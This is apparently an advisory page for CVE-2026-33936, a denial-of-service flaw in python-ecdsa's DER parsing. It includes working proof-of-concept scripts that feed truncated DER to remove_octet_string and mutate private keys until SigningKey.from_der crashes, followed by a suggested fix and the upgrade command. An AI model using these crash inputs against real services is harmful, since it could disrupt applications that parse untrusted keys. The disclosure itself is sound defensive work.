ecdsa
Affected
- introduced
0, fixed0.19.2(ecosystem)
Fixed versions
0.19.2
Fix
- Fixed version
0.19.2pip install --upgrade ecdsa==0.19.2
Advisory
Also known as: CVE-2026-33936, GHSA-9f5j-8jwj-x28g
python-ecdsa: Denial of Service via improper DER length validation in crafted private keys
Summary
An issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.
ecdsa.der.remove_octet_string() accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected.SigningKey.from_der() to raise an internal exception (IndexError: index out of bounds on dimension 1) rather than cleanly rejecting malformed DER (e.g., raising UnexpectedDER or ValueError). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service.Impact
Potential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions.
Reproduction
Attach and run the following PoCs:
poc_truncated_der_octet.py
from ecdsa.der import remove_octet_string, UnexpectedDER
# OCTET STRING (0x04)
# Declared length: 0x82 0x10 0x00 -> 4096 bytes
# Actual body: only 3 bytes -> truncated DER
bad = b"\x04\x82\x10\x00" + b"ABC"
try:
body, rest = remove_octet_string(bad)
print("[BUG] remove_octet_string accepted truncated DER.")
print("Declared length=4096, actual body_len=", len(body), "rest_len=", len(rest))
print("Body=", body)
print("Rest=", rest)
except UnexpectedDER as e:
print("[OK] Rejected malformed DER:", e)
Parsed body_len= 3 rest_len= 0 (while declared length is 4096)
poc_signingkey_from_der_indexerror.py
from ecdsa import SigningKey, NIST256p
import ecdsa
print("ecdsa version:", ecdsa.__version__)
sk = SigningKey.generate(curve=NIST256p)
good = sk.to_der()
print("Good DER len:", len(good))
def find_crashing_mutation(data: bytes):
b = bytearray(data)
# Try every OCTET STRING tag position and corrupt a short-form length byte
for i in range(len(b) - 4):
if b[i] != 0x04: # OCTET STRING tag
continue
L = b[i + 1]
if L >= 0x80:
# skip long-form lengths for simplicity
continue
max_possible = len(b) - (i + 2)
if max_possible <= 10:
continue
# Claim more bytes than exist -> truncation
newL = min(0x7F, max_possible + 20)
b2 = bytearray(b)
b2[i + 1] = newL
try:
SigningKey.from_der(bytes(b2))
except Exception as e:
return i, type(e).__name__, str(e)
return None
res = find_crashing_mutation(good)
if res is None:
print("[INFO] No exception triggered by this mutation strategy.")
else:
i, etype, msg = res
print("[BUG] SigningKey.from_der raised unexpected exception type.")
print("Offset:", i, "Exception:", etype, "Message:", msg)
UnexpectedDER or ValueErrorIndexError (DoS risk)Result: (5, 'IndexError', 'index out of bounds on dimension 1')
Suggested fix
Add “declared length must fit buffer” checks in DER helper functions similarly to the existing check in remove_sequence():
remove_octet_string()remove_constructed()remove_implicit()Additionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as UnexpectedDER to avoid crashy failure modes.
Credit
Mohamed Abdelaal (@0xmrma)
Medium Basis: CVSS v3 score 5.3, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
0, fixed 0.19.2 (ecosystem)0.19.2
0.19.2pip install --upgrade ecdsa==0.19.2Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: PyPA Advisory Database · CC BY 4.0